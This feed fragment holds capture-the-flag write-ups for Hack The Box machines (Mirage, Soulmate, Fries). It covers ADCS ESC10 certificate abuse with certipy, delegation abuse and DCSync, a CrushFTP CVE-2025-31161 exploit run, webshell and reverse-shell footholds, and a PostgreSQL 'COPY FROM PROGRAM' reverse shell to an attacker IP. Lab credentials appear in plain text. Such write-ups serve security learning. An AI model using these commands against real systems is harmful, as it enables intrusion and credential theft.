&lt;p&gt;When I checked those registry keys, I realized the domain controller has &lt;strong&gt;StrongCertificateBindingEnforcement enabled (value = 1)&lt;/strong&gt;, but Schannel is still configured to allow &lt;em&gt;weak certificate mapping&lt;/em&gt; through &lt;code&gt;CertificateMappingMethods = 0x4&lt;/code&gt; (UPN mapping).&lt;/p&gt;
&lt;p&gt;This combination means the DC will accept non‑strong mappings for certificate-based logon, creating an &lt;strong&gt;ESC10 ADCS vulnerability&lt;/strong&gt;. In other words, if I can obtain or forge a certificate with a victim’s UPN, the DC will still let me authenticate as that user despite strong binding being “enabled.”&lt;/p&gt;
&lt;h3&gt;Exploitation&lt;/h3&gt;
&lt;p&gt;I&apos;ll start off with &lt;code&gt;certipy-ad&lt;/code&gt; by updating the account of &lt;em&gt;mark.bbond&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad account update -k -no-pass -user mark.bbond -upn &apos;DC01$@mirage.htb&apos; -dc-host dc01.mirage.htb -target dc01.mirage.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/404c72b794dca4882d08ea6f8e28d738.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up I&apos;ll export the cache for &lt;em&gt;mark&lt;/em&gt; again and request the certificate:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad req -ca &apos;mirage-DC01-CA&apos; -dc-host dc01.mirage.htb -target dc01.mirage.htb -k -no-pass
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e78b79ea0be62cce3422f3295ee6c9af.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad account update -k -no-pass -user mark.bbond -upn &apos;mark.bbond@mirage.htb&apos; -dc-host dc01.mirage.htb -target dc01.mirage.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0cfd006854631e39908360d688144539.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we&apos;re going to authenticate and get an interactive shell:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad auth -pfx dc01.pfx -dc-ip 10.10.11.78 -ldap-shell
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/781d2f44c37b22755c042279dffcf40c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;S4U2Proxy&lt;/h2&gt;
&lt;p&gt;While in the interactive shell I used the following command to modify the delegation rights.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;set_rbcd dc01$ nathan.aadam
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d87099ac57e74088ea11bb942e4fef10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can then request a service ticket:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-getST -u2u -impersonate &quot;dc01$&quot; -spn &quot;cifs/dc01.mirage.htb&quot; -k -no-pass &apos;mirage.htb/nathan.aadam&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/134f06c32cf93ba330ef181fc0a841b7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;dcsync&lt;/h3&gt;
&lt;p&gt;From here we can &lt;code&gt;dcsync&lt;/code&gt; and get access as &lt;em&gt;Administrator&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ee7ce78458cf7952f738a14c1f8a3376.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cca528a2a729fa3cb2874162227d3998.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d19a6e06487694b501d6ff6b888e5688.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;root.txt&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;attachments/084ce470aab9410b6020dd181a391e7c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/72995e99afee30eafff515d772efc4aa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Soulmate</title><link>https://maxk9999.vercel.app/posts/soulmate</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/soulmate</guid><pubDate>Mon, 24 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.86
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -Pn -T5 -vvvv --min-rate=5000 10.10.11.86

PORT      STATE    SERVICE              REASON      VERSION
22/tcp    open     ssh                  syn-ack     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp    open     http                 syn-ack     nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Soulmate - Find Your Perfect Match
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/586cb0833ff4c7c63e2ba9f209ddb2de.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I checked the site out but found nothing useful.&lt;/p&gt;
&lt;h3&gt;ftp.soulmate.htb&lt;/h3&gt;
&lt;p&gt;I did a &lt;code&gt;vhost&lt;/code&gt; scan using &lt;code&gt;ffuf&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://soulmate.htb -H &quot;Host:FUZZ.soulmate.htb&quot; -fs 154
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ead10920fe29a6070a2f4a183576cb8f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I headed over to the vhost and found that it was a &lt;strong&gt;CrushFTP&lt;/strong&gt; web UI:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f458fb99e31179dc89b6186af8d16850.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried to log in using &lt;code&gt;admin - admin&lt;/code&gt; and got this &lt;code&gt;xml&lt;/code&gt; error:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e36b0f550707c64d75a574ce1fd312ea.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I checked out the request in &lt;code&gt;burp&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d0aa7917f3624e3f07d0efc0a07c4b8c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I didn&apos;t find anything that could be exploited in the request right away so searched for PoC&apos;s:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1f4718e209b05178c638b9d833f2baef.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since I didn&apos;t know the version this was more or less guess work.&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;CVE-2025-31161&lt;/h2&gt;
&lt;p&gt;The following article seemed interesting:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7cece646b8e192d47c3486214ec5dca3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ccb23adc9b19f96c17f59382b51b5b00.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The PoC is pretty straightforward:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1af1b201b6c78b8143eb30f60bd22ebe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c036e45d0f5c17f665b4114b15c0157a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f7e064a55ac9a3913d065058f58c8a42.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s exploit it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --target_user admin --new_user tester --password &apos;P@ssword123&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/680a335796c9f5c3ba284bc9ff854a91.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We now get valid access:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7c10d9ffa54d39e0ca965e94e772a1a2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I clicked on the &lt;strong&gt;Admin&lt;/strong&gt; tab and got redirected:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ed4529394c4a17f81f816d642bded89f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Amongst the &lt;strong&gt;Recent Logins&lt;/strong&gt; I notice the &lt;em&gt;crushadmin&lt;/em&gt; user as well as the &lt;code&gt;172.19.0.1&lt;/code&gt; IP address. This IP makes me think that the &lt;code&gt;ftp&lt;/code&gt; web UI is running inside of a &lt;code&gt;docker&lt;/code&gt; container, I&apos;ll see later on whether my assumptions are right.&lt;/p&gt;
&lt;h2&gt;Logging in as ben&lt;/h2&gt;
&lt;p&gt;I headed over to the &lt;strong&gt;User Manager&lt;/strong&gt; tab where I found the user &lt;em&gt;ben&lt;/em&gt; which had access to some interesting directories including &lt;code&gt;webProd&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bc97df75d14b0bbb3697a24bb39096bf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and changed the password for the user and logged in with their creds.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/701b0975b1e662654f206f068f2849a4.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;attachments/2c6726c5388646e743f5dd96dc1ef21d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c6c4c891de4f563d42183ee15c269454.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5ba56c6941e40b6c8f004c9164695547.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since all the files inside are with the &lt;code&gt;.php&lt;/code&gt; extension I went ahead and dropped in a webshell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/974ec750f1b3fae39a018c6216d5c24d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ef11e2c39eba778968ee2b3dd327e001.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/579271d150116bace8dfb565d17073a9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I could now go ahead and access it by heading over to &lt;code&gt;http://soulmate.htb/webshell.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c2aed0360cd23b1308372c1c34a60bb6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As we see from the &lt;code&gt;ip a&lt;/code&gt; output the &lt;code&gt;CrushFTP&lt;/code&gt; instance was indeed running from inside of a &lt;code&gt;docker&lt;/code&gt; container:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2f6ba9e871b65e25de2092097d2dcaf9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as www-data&lt;/h2&gt;
&lt;p&gt;Using the following reverse shell payload I got myself a shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0fd24c97b36566cd8dad7772d0b90879.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c4fd23e2a91e2d63566927927e6f9d9c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;What&apos;s funny is that the file that we&apos;ve uploaded was actually owned by &lt;em&gt;root&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/23bbd60f64fe1c9f797f5faa009dbdd2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then found the config file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8ee345a6d556f5b466a6ed217521e45d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside the file I found the admin password:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/759d5b00d129a36b125994509d9128d6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Crush4dmin990
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unfortunately this password was not reused anywhere.&lt;/p&gt;
&lt;h2&gt;SSH as ben&lt;/h2&gt;
&lt;p&gt;During my further enumeration of the machine I uploaded &lt;code&gt;pspy32&lt;/code&gt; and checked out the running processes:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/27961d984a203e5b16ac90cdfa936be1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside the script the credentials for &lt;em&gt;ben&lt;/em&gt; were found:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8be9fcb57fb81e52b725c4514fd5d6fb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1392d804076caf20212835e4ddcc245d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ben
HouseH0ldings998
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using these creds I was able to log in via &lt;code&gt;ssh&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b2a16729e386a38b13ddc7e71c3daead.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/660a67bea18c315558d4a15c0972507e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;2222/TCP - SSH&lt;/h2&gt;
&lt;p&gt;I quickly found out that I was unable to run &lt;code&gt;sudo&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e7fac435a5b9cba093b9591a30da5e7d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I wasn&apos;t part of any good groups either:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4b09c590c88f1d30ce2210fd8469afcf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then remembered the script that we found mentioned port &lt;code&gt;2222&lt;/code&gt; on localhost:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2411e65fbda76758378528cec738019b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I logged into the service via &lt;code&gt;ssh&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7d96bb34090a7da5a7e79b9492b756b3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since this was an &lt;code&gt;erlang_shell&lt;/code&gt; instead of a regular one we needed to execute commands differently:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b10c87e974e18d7ffeefc1783074d6f8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Thus I gave myself a &lt;em&gt;root&lt;/em&gt; reverse shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/905264545cba9bf3d3ab9111a7627b98.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5722ed22f744be4d959530ccdf5a9d35.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/78a9db99e809fff3b3380796601e39b6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/689ccfdc3daf3b5ae3d2db3b4221ffeb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Fries</title><link>https://maxk9999.vercel.app/posts/fries</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/fries</guid><pubDate>Tue, 25 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import PasswordProtect from &quot;~/components/PasswordProtect.client&quot;;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.96

Creds:
d.cooper@fries.htb
D4LE11maan!!
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -vvvv -T5 --min-rate=5000 -Pn fries.htb

PORT      STATE SERVICE       REASON  VERSION
22/tcp    open  ssh           syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD
|_http-title: Welcome to Fries - Fries Restaurant
|_http-server-header: nginx/1.18.0 (Ubuntu)
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-11-23 02:02:57Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-23T02:04:36+00:00; +1h59m20s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Issuer: commonName=fries-DC01-CA/domainComponent=fries
443/tcp   open  ssl/http      syn-ack nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| tls-alpn: 
|_  http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-favicon: Unknown favicon MD5: F588322AAF157D82BB030AF1EFFD8CF9
|_http-title: Site doesnt have a title (text/html;charset=ISO-8859-1).
| ssl-cert: Subject: commonName=pwm.fries.htb/organizationName=Fries Foods LTD/stateOrProvinceName=Madrid/countryName=SP/organizationalUnitName=PWM Configuration/emailAddress=web@fries.htb/localityName=Madrid
| Issuer: commonName=pwm.fries.htb/organizationName=Fries Foods LTD/stateOrProvinceName=Madrid/countryName=SP/organizationalUnitName=PWM Configuration/emailAddress=web@fries.htb/localityName=Madrid
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
2179/tcp  open  vmrdp?        syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49685/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         syn-ack Microsoft Windows RPC
49688/tcp open  msrpc         syn-ack Microsoft Windows RPC
49689/tcp open  msrpc         syn-ack Microsoft Windows RPC
49913/tcp open  msrpc         syn-ack Microsoft Windows RPC
49946/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-11-23T02:03:54
|_  start_date: N/A
|_clock-skew: mean: 1h59m19s, deviation: 1s, median: 1h59m19s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 46245/tcp): CLEAN (Timeout)
|   Check 2 (port 47430/tcp): CLEAN (Timeout)
|   Check 3 (port 23943/udp): CLEAN (Timeout)
|   Check 4 (port 21385/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;PasswordProtect client:load&amp;gt;&lt;/p&gt;
&lt;h2&gt;443/TCP - HTTPS&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/18cda2d3646529a4c4360e460512e8e4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When trying to log in using the provided &lt;code&gt;ldap&lt;/code&gt; creds we get the following message:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3893290f92756894ee67aa6132312e97.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We notice a new username &lt;em&gt;svc_infra&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;I also found that the Password Manager is an open-source project called &lt;code&gt;pwm&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2813c9f4bac2334ad04ab7f89fd683d2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6c3503610d7bbe8aa863a8e07fe0174f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It seems that the latest version from february 2025 is installed.&lt;/p&gt;
&lt;p&gt;Other than that there doesn&apos;t seem to be more going on for us.&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;Over here I found a static website with nothing else really.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7716f3a0e1e96464a199787a869a20ea.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;code.fries.htb&lt;/h3&gt;
&lt;p&gt;I decided to use &lt;code&gt;ffuf&lt;/code&gt; to enumerate vhosts:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/58b0f8d65d9d22664c6b9898f3a57ada.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/08158d7ab32be8756ac96752d4f29391.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/eaaba866d908b41999deae9b4e8b111b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here I was able to log in with the provided creds:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f070ca1667060dcd9cebb881f0e972ca.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5919d552dfd283f345ef943210aa249a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I headed over to the repo and started analysing it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2592ab9007e5947fa04445738204a412.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside the initial commit I found the credentials for &lt;code&gt;postgresql&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/06e2e228acd0cceb3e5059a4b12c2016.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root
PsqLR00tpaSS11
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And perhaps the secret key could be reused somewhere:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;y0st528wn1idjk3b9a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I then found the following inside the &lt;code&gt;README.md&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/792f2e4d46ea11958565b4d5f6216d6a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Another vhost:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;db-mgmt05.fries.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/689785d8dc8e2439713abf6d1ae289f4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;db-mgmt05.fries.htb&lt;/h3&gt;
&lt;p&gt;I headed over to the db instance:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/eb8f4d4fba50e3851c6534a0dac1349e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here again I logged in with the creds for &lt;em&gt;dale&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4d173af8649aeed967762e9bff9ed31a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When trying to connect to the server we&apos;re prompted the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ab3bf8d13ca1d2db25f43d1f32ff744b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We enter the previously found root password here and get access:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0df1780a7922488f40b029f4c2b64d5e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I expanded it and checked the &lt;code&gt;gitea&lt;/code&gt; database:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/18e93b8b9305e19afc027c762b699026.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here I right clicked on the &lt;code&gt;user&lt;/code&gt; table to view all the rows:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5d35ceb7f5b7b0570fbc259a9f4818bc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b399640c9df7dca5d389d41ee839cbdb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried cracking the &lt;em&gt;Administrator&lt;/em&gt; password but this did not work.&lt;/p&gt;
&lt;h1&gt;Docker Foothold - RABBITHOLE&lt;/h1&gt;
&lt;h2&gt;RCE via PostGreSQL UI&lt;/h2&gt;
&lt;p&gt;I tried out some queries and noticed I had file read&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c4638f7725e315cee662821147682c91.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And even file write!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/48a9ae7402c59e7cf3eac265aee6b681.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then tried to see whether I had command execution:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3a1e7b40e013ed99a77c33bef157f0f2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since all of the above worked I went ahead and tested a reverse shell payload.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE cmd_out3(line text);
COPY cmd_out3 FROM PROGRAM &apos;/bin/bash -c &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.42/80 0&amp;gt;&amp;amp;1&quot;&apos;;
SELECT * FROM cmd_out3;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/51d3951091db2df27dfa148e26ea96d8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a16ec76f87e6a9c442d12cb9a43b4eda.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I now finally had a shell inside the Linux docker container.&lt;/p&gt;
&lt;p&gt;###I Living Off The Land ( LOTL )&lt;/p&gt;
&lt;p&gt;I tried to copy over some files using &lt;code&gt;wget&lt;/code&gt; or &lt;code&gt;curl&lt;/code&gt; but none were available:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/60466f23f6bac805fb9cb42eaf710cc2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
